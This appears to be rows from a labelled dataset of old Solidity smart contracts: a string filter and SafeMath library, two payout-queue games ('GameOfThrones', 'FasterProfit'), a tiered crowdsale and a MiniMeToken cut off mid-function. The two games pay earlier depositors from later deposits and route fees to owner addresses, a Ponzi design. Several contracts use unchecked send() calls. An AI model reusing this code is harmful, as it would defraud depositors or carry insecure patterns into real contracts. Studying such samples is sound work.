_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,836 |
contract GameOfThrones {
address public trueGods;
address public jester;
uint public lastCollection;
uint public lastFell;
uint public onThrone;
uint public kingCost;
uint public piggyBank;
uint public godBank;
uint public jesterBank;
uint public kingBank;
address[] public citizensAddresses;
uint[] public citizensAmounts;
uint32 public totalCitizens;
uint32 public lastCitizenPaid;
address public madKing;
uint32 public round;
uint public amountAlreadyPaidBack;
uint public amountInvested;
uint constant TWENTY_FOUR_HOURS = 60 * 60 * 24;
uint constant PEACE_PERIOD = 60 * 60 * 240;
function GameOfThrones() {
trueGods = msg.sender;
madKing = msg.sender;
jester = msg.sender;
lastFell = block.timestamp;
lastCollection = block.timestamp;
onThrone = block.timestamp;
kingCost = 1 ether;
amountAlreadyPaidBack = 0;
amountInvested = 0;
totalCitizens = 0;
}
function protectKingdom() returns(bool) {
uint amount = msg.value;
if (amount < 10 finney) {
msg.sender.send(msg.value);
return false;
}
if (amount > 100 ether) {
msg.sender.send(msg.value - 100 ether);
amount = 100 ether;
}
if (lastCollection + TWENTY_FOUR_HOURS < block.timestamp) {
if (totalCitizens == 1) {
citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 95 / 100);
} else if (totalCitizens == 2) {
citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 60 / 100);
citizensAddresses[citizensAddresses.length - 2].send(piggyBank * 35 / 100);
} else if (totalCitizens >= 3) {
citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 50 / 100);
citizensAddresses[citizensAddresses.length - 2].send(piggyBank * 30 / 100);
citizensAddresses[citizensAddresses.length - 3].send(piggyBank * 15 / 100);
}
godBank += piggyBank * 5 / 100;
piggyBank = 0;
jester = msg.sender;
lastFell = block.timestamp;
citizensAddresses.push(msg.sender);
citizensAmounts.push(amount * 110 / 100);
totalCitizens += 1;
investInTheSystem(amount);
godAutomaticCollectFee();
piggyBank += amount * 90 / 100;
round += 1;
} else {
if (lastFell + TWENTY_FOUR_HOURS * 2 >= block.timestamp) {
citizensAddresses.push(msg.sender);
citizensAmounts.push(amount * 130 / 100);
} else {
citizensAddresses.push(msg.sender);
citizensAmounts.push(amount * 110 / 100);
}
totalCitizens += 1;
investInTheSystem(amount);
while (citizensAmounts[lastCitizenPaid] < (address(this).balance - piggyBank - godBank - kingBank - jesterBank) && lastCitizenPaid <= totalCitizens) {
citizensAddresses[lastCitizenPaid].send(citizensAmounts[lastCitizenPaid]);
amountAlreadyPaidBack += citizensAmounts[lastCitizenPaid];
lastCitizenPaid += 1;
}
}
}
function() internal {
protectKingdom();
}
function investInTheSystem(uint amount) internal {
lastCollection = block.timestamp;
amountInvested += amount;
jesterBank += amount * 5 / 100;
kingBank += amount * 5 / 100;
piggyBank += (amount * 5 / 100);
kingAutomaticCollectFee();
jesterAutomaticCollectFee();
}
function abdicate() {
if (msg.sender == madKing && msg.sender != trueGods) {
madKing.send(kingBank);
if (piggyBank > kingCost * 40 / 100) {
madKing.send(kingCost * 40 / 100);
piggyBank -= kingCost * 40 / 100;
}
else {
madKing.send(piggyBank);
piggyBank = 0;
}
madKing = trueGods;
kingCost = 1 ether;
}
}
function murder() {
uint amount = 100 finney;
if (msg.value >= amount && msg.sender != jester) {
jester.send(jesterBank);
jesterBank = 0;
jester = msg.sender;
msg.sender.send(msg.value - amount);
investInTheSystem(amount);
} else {
throw;
}
}
function usurpation() {
uint amount = msg.value;
if (msg.sender == madKing) {
investInTheSystem(amount);
kingCost += amount;
} else {
if (onThrone + PEACE_PERIOD <= block.timestamp && amount >= kingCost * 150 / 100) {
madKing.send(kingBank);
godBank += amount * 5 / 100;
kingCost = amount;
madKing = msg.sender;
onThrone = block.timestamp;
investInTheSystem(amount);
} else {
throw;
}
}
}
function collectFee() {
if (msg.sender == trueGods) {
trueGods.send(godBank);
}
}
function godAutomaticCollectFee() internal {
if (godBank >= 1 ether) {
trueGods.send(godBank);
godBank = 0;
}
}
function kingAutomaticCollectFee() internal {
if (kingBank >= 100 finney) {
madKing.send(kingBank);
kingBank = 0;
}
}
function jesterAutomaticCollectFee() internal {
if (jesterBank >= 100 finney) {
jester.send(jesterBank);
jesterBank = 0;
}
}
} | 0 | 1,753 |
pragma solidity ^0.4.24;
contract FasterProfit {
address constant private PROMO = 0xA93c13B3E3561e5e2A1a20239486D03A16d1Fc4b;
uint constant public MULTIPLIER = 110;
uint constant public MAX_DEPOSIT = 1 ether;
uint public currentReceiverIndex = 0;
uint public MIN_DEPOSIT = 0.01 ether;
uint public txnCount = 0;
uint private PROMO_PERCENT = 0;
uint constant public LAST_DEPOSIT_PERCENT = 20;
LastDeposit public last;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
struct LastDeposit {
address depositor;
uint expect;
uint blockNumber;
}
Deposit[] private queue;
function () public payable {
if(msg.value == 0 && msg.sender == last.depositor) {
require(gasleft() >= 220000, "We require more gas!");
require(last.blockNumber + 45 < block.number, "Last depositor should wait 45 blocks (~10 minutes) to claim reward");
uint128 money = uint128((address(this).balance));
if(money >= last.expect){
last.depositor.transfer(last.expect);
} else {
last.depositor.transfer(money);
}
delete last;
}
else if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= MAX_DEPOSIT && msg.value >= MIN_DEPOSIT);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
last.depositor = msg.sender;
last.expect += msg.value*LAST_DEPOSIT_PERCENT/100;
last.blockNumber = block.number;
txnCount += 1;
if(txnCount >= 1800) {
MIN_DEPOSIT = 0.1 ether;
} else if(txnCount >= 1600) {
MIN_DEPOSIT = 0.09 ether;
} else if(txnCount >= 1400) {
MIN_DEPOSIT = 0.08 ether;
} else if(txnCount >= 1200) {
MIN_DEPOSIT = 0.07 ether;
} else if(txnCount >= 1000) {
MIN_DEPOSIT = 0.06 ether;
} else if(txnCount >= 800) {
MIN_DEPOSIT = 0.05 ether;
} else if(txnCount >= 600) {
MIN_DEPOSIT = 0.04 ether;
} else if(txnCount >= 400) {
MIN_DEPOSIT = 0.03 ether;
} else if(txnCount >= 200) {
MIN_DEPOSIT = 0.02 ether;
} else {
MIN_DEPOSIT = 0.01 ether;
}
uint promo = msg.value*PROMO_PERCENT/10000;
uint128 contractBalance = uint128((address(this).balance));
if(contractBalance >= promo){
PROMO.transfer(promo);
} else {
PROMO.transfer(contractBalance);
}
PROMO_PERCENT += 5;
pay();
}
}
function pay() private {
uint128 money = uint128((address(this).balance)/last.expect);
if(money < 1) {
return;
}
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.transfer(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.transfer(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 0 | 1,101 |
pragma solidity ^0.4.8;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
address public tier;
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function updateRate(uint newOneTokenInWei) public;
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
bool public reservedTokensAreDistributed = false;
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function distributeReservedTokens(uint reservedTokensDistributionBatch);
function finalizeCrowdsale();
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20Ext is ERC20 {
uint public decimals;
uint public minCap;
}
contract CrowdsaleExt is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLibExt for uint;
FractionalERC20Ext public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
string public name;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
bool public finalized;
bool public isWhiteListed;
address[] public joinedCrowdsales;
uint8 public joinedCrowdsalesLen = 0;
uint8 public joinedCrowdsalesLenMax = 50;
struct JoinedCrowdsaleStatus {
bool isJoined;
uint8 position;
}
mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
struct WhiteListData {
bool status;
uint minCap;
uint maxCap;
}
bool public isUpdatable;
mapping (address => WhiteListData) public earlyParticipantWhitelist;
address[] public whitelistedParticipants;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Whitelisted(address addr, bool status, uint minCap, uint maxCap);
event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap);
event StartsAtChanged(uint newStartsAt);
event EndsAtChanged(uint newEndsAt);
function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) {
owner = msg.sender;
name = _name;
token = FractionalERC20Ext(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
isUpdatable = _isUpdatable;
isWhiteListed = _isWhiteListed;
}
function () external payable {
invest(msg.sender);
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
throw;
} else if(getState() == State.Funding) {
if(isWhiteListed) {
if(!earlyParticipantWhitelist[receiver].status) {
throw;
}
}
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(isWhiteListed) {
if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) {
throw;
}
if (isBreakingInvestorCap(receiver, tokenAmount)) {
throw;
}
updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount);
} else {
if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) {
throw;
}
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function invest(address addr) public payable {
investInternal(addr, 0);
}
function buy() public payable {
invest(msg.sender);
}
function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != address(0)) {
finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch);
}
}
function areReservedTokensDistributed() public constant returns (bool) {
return finalizeAgent.reservedTokensAreDistributed();
}
function canDistributeReservedTokens() public constant returns(bool) {
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true;
return false;
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != address(0)) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) public onlyOwner {
assert(address(addr) != address(0));
assert(address(finalizeAgent) == address(0));
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner {
if (!isWhiteListed) throw;
assert(addr != address(0));
assert(maxCap > 0);
assert(minCap <= maxCap);
assert(now <= endsAt);
if (!isAddressWhitelisted(addr)) {
whitelistedParticipants.push(addr);
Whitelisted(addr, status, minCap, maxCap);
} else {
WhitelistItemChanged(addr, status, minCap, maxCap);
}
earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap});
}
function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner {
if (!isWhiteListed) throw;
assert(now <= endsAt);
assert(addrs.length == statuses.length);
assert(statuses.length == minCaps.length);
assert(minCaps.length == maxCaps.length);
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]);
}
}
function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private {
if (!isWhiteListed) throw;
if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought);
}
}
function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public {
if (!isWhiteListed) throw;
assert(addr != address(0));
assert(now <= endsAt);
assert(isTierJoined(msg.sender));
if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw;
uint newMaxCap = earlyParticipantWhitelist[addr].maxCap;
newMaxCap = newMaxCap.minus(tokensBought);
earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap});
}
function isAddressWhitelisted(address addr) public constant returns(bool) {
for (uint i = 0; i < whitelistedParticipants.length; i++) {
if (whitelistedParticipants[i] == addr) {
return true;
break;
}
}
return false;
}
function whitelistedParticipantsLength() public constant returns (uint) {
return whitelistedParticipants.length;
}
function isTierJoined(address addr) public constant returns(bool) {
return joinedCrowdsaleState[addr].isJoined;
}
function getTierPosition(address addr) public constant returns(uint8) {
return joinedCrowdsaleState[addr].position;
}
function getLastTier() public constant returns(address) {
if (joinedCrowdsalesLen > 0)
return joinedCrowdsales[joinedCrowdsalesLen - 1];
else
return address(0);
}
function setJoinedCrowdsales(address addr) private onlyOwner {
assert(addr != address(0));
assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax);
assert(!isTierJoined(addr));
joinedCrowdsales.push(addr);
joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({
isJoined: true,
position: joinedCrowdsalesLen
});
joinedCrowdsalesLen++;
}
function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner {
assert(addrs.length > 0);
assert(joinedCrowdsalesLen == 0);
assert(addrs.length <= joinedCrowdsalesLenMax);
for (uint8 iter = 0; iter < addrs.length; iter++) {
setJoinedCrowdsales(addrs[iter]);
}
}
function setStartsAt(uint time) onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= time);
assert(time <= endsAt);
assert(now <= startsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if (lastTierCntrct.finalized()) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = 0; j < tierPosition; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
assert(time >= crowdsale.endsAt());
}
startsAt = time;
StartsAtChanged(startsAt);
}
function setEndsAt(uint time) public onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= time);
assert(startsAt <= time);
assert(now <= endsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if (lastTierCntrct.finalized()) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
assert(time <= crowdsale.startsAt());
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner {
assert(address(_pricingStrategy) != address(0));
assert(address(pricingStrategy) == address(0));
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else return State.Failure;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken);
function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableTokenExt is StandardToken, Ownable {
using SafeMathLibExt for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
struct ReservedTokensData {
uint inTokens;
uint inPercentageUnit;
uint inPercentageDecimals;
bool isReserved;
bool isDistributed;
}
mapping (address => ReservedTokensData) public reservedTokensList;
address[] public reservedTokensDestinations;
uint public reservedTokensDestinationsLen = 0;
bool reservedTokensDestinationsAreSet = false;
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
function finalizeReservedAddress(address addr) public onlyMintAgent canMint {
ReservedTokensData storage reservedTokensData = reservedTokensList[addr];
reservedTokensData.isDistributed = true;
}
function isAddressReserved(address addr) public constant returns (bool isReserved) {
return reservedTokensList[addr].isReserved;
}
function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) {
return reservedTokensList[addr].isDistributed;
}
function getReservedTokens(address addr) public constant returns (uint inTokens) {
return reservedTokensList[addr].inTokens;
}
function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) {
return reservedTokensList[addr].inPercentageUnit;
}
function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) {
return reservedTokensList[addr].inPercentageDecimals;
}
function setReservedTokensListMultiple(
address[] addrs,
uint[] inTokens,
uint[] inPercentageUnit,
uint[] inPercentageDecimals
) public canMint onlyOwner {
assert(!reservedTokensDestinationsAreSet);
assert(addrs.length == inTokens.length);
assert(inTokens.length == inPercentageUnit.length);
assert(inPercentageUnit.length == inPercentageDecimals.length);
for (uint iterator = 0; iterator < addrs.length; iterator++) {
if (addrs[iterator] != address(0)) {
setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]);
}
}
reservedTokensDestinationsAreSet = true;
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner {
assert(addr != address(0));
if (!isAddressReserved(addr)) {
reservedTokensDestinations.push(addr);
reservedTokensDestinationsLen++;
}
reservedTokensList[addr] = ReservedTokensData({
inTokens: inTokens,
inPercentageUnit: inPercentageUnit,
inPercentageDecimals: inPercentageDecimals,
isReserved: true,
isDistributed: false
});
}
}
contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt {
uint public maximumSellableTokens;
function MintedTokenCappedCrowdsaleExt(
string _name,
address _token,
PricingStrategy _pricingStrategy,
address _multisigWallet,
uint _start, uint _end,
uint _minimumFundingGoal,
uint _maximumSellableTokens,
bool _isUpdatable,
bool _isWhiteListed
) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) {
maximumSellableTokens = _maximumSellableTokens;
}
event MaximumSellableTokensChanged(uint newMaximumSellableTokens);
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) {
return tokensSoldTotal > maximumSellableTokens;
}
function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) {
assert(isWhiteListed);
uint maxCap = earlyParticipantWhitelist[addr].maxCap;
return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return tokensSold >= maximumSellableTokens;
}
function setMaximumSellableTokens(uint tokens) public onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= startsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
assert(!lastTierCntrct.finalized());
maximumSellableTokens = tokens;
MaximumSellableTokensChanged(maximumSellableTokens);
}
function updateRate(uint newOneTokenInWei) public onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= startsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
assert(!lastTierCntrct.finalized());
pricingStrategy.updateRate(newOneTokenInWei);
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableTokenExt mintableToken = MintableTokenExt(token);
mintableToken.mint(receiver, tokenAmount);
}
} | 0 | 1,968 |
pragma solidity ^0.4.18;
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.2';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < _amount) return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
